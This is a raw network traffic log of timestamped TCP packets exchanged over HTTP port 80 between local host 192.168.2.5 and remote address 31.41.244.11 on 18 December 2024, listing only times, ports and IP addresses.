Dec 18, 2024 19:08:23.123908043 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.124011040 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.124123096 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.124180079 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.124377966 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.124599934 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.125217915 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.125271082 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.126130104 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.126183987 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.126421928 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.126491070 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.126513004 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.126540899 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.127616882 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.127785921 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.127804995 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.127863884 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.128670931 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.128757000 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.128904104 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.128950119 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.129790068 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.129802942 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.129905939 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.130938053 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.131025076 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.131041050 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.131210089 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.132019997 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.132080078 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.132741928 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.132810116 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.133070946 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.133124113 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.133157969 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.133214951 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.134232998 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.134469986 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.134470940 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.134522915 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.135355949 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.135520935 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.135560036 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.135560036 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.136507034 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.136749983 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.136833906 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.137665033 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.137717962 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.137958050 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.138741016 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.138860941 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.138938904 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.139862061 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.140116930 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.140191078 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.141014099 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.141119957 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.141239882 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.142117977 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.142187119 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.142898083 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.142990112 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.143307924 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.143325090 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.143532991 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.144341946 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.144465923 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.144601107 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.145488024 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.145581961 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.145667076 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.146619081 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.146935940 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.147048950 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.147814035 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.147855043 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.147994041 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.149293900 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.149621010 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.149714947 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.150592089 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.150667906 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.150774956 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.151568890 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.151617050 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.151779890 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.152319908 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.152663946 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.152715921 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.152823925 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.152882099 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.153670073 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.153789997 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.153949022 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.154658079 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.154846907 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.154995918 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.155672073 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.155802965 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.155960083 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.156884909 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.157032967 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.157089949 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.157953024 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.158026934 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.158050060 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.158730984 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.158997059 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.159085035 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.159091949 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.159266949 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.160181046 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.160455942 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.160518885 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.161303043 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.161396980 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.161530972 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.162409067 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.162740946 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.162818909 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.163496017 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.163614035 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.163688898 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.164788961 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.164839983 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.164902925 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.165950060 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.166076899 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.166132927 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.167329073 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.167481899 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.167557955 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.168262005 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.168366909 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.168431997 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.168458939 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.168540001 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.169430971 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.169514894 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.169557095 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.170345068 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.170433044 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.170449018 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.171538115 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.171550989 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.171616077 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.171638012 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.172619104 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.172746897 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.173005104 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.173711061 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.174140930 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.174196005 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.175101042 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.175458908 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.175529957 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.176196098 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.176320076 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.176369905 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.177170038 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.177759886 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.177835941 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.178185940 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.180265903 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.311244965 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.311285973 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.311382055 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.311800003 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.311968088 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.312052011 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.312896967 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.313014030 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.313113928 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.314044952 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.314093113 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.314140081 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.314789057 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.315181017 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.315242052 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.315598965 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.315716028 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.316258907 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.316395998 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.316457033 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.317408085 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.317656994 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.317728043 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.318583012 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.318629980 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.318698883 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.319802046 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.319803953 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.319885969 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.320094109 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.320843935 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.320909023 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.321059942 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.321244955 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.322207928 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.322261095 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.322293043 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.322407961 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.323067904 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.323183060 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.323739052 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.323824883 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.324207067 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.324265003 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.324604988 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.325367928 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.325437069 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.325453043 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.326493025 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.326548100 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.326628923 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.327672958 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.327761889 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.327908993 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.327953100 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.328728914 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.328834057 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.328866005 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.328944921 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.329812050 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.329895020 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.330229998 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.330487967 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.330940008 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.331190109 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.331374884 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.331423998 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.332077026 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.332129955 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.332218885 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.332597017 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.333200932 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.333539963 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.333699942 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.334472895 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.335108042 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.335143089 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.335541964 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.335556984 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.335608959 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.335629940 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.336585045 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.336689949 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.336718082 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.336802959 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.337698936 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.337832928 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.337892056 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.338109016 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.338927031 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.338937998 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.338994980 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.339979887 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.340063095 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.340164900 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.340234041 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.341120005 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.341489077 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.341545105 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.342180014 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.342813015 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.342861891 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.343534946 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.343619108 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.343677044 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.344259024 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.344645023 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.344726086 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.344995022 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.345063925 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.345741987 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.345819950 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.346122026 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.346180916 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.346713066 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.346771002 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.347063065 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.347106934 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.347990990 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.348036051 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.348354101 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.348445892 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.348989010 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.349056959 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.349311113 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.349353075 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.350157022 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.350229025 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.350409031 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.350459099 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.351254940 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.351339102 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.351366043 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.351428986 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.352416039 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.352781057 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.352906942 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.353501081 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.353636980 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.353708982 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.353921890 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.354712009 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.354790926 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.354818106 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.354909897 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.355776072 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.356034994 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.356347084 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.356422901 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.356913090 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.356971025 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.357043982 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.357146025 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.358225107 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.358319998 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.358357906 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.358618021 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.359158039 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.359244108 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.359246016 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.360306025 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.360312939 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.360342026 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.360507965 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.360574007 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.361412048 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.361649990 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.361706018 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.362585068 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.362597942 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.362668991 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.363672972 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.363734961 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.363874912 CET	80	49723	31.41.244.11	192.168.2.5
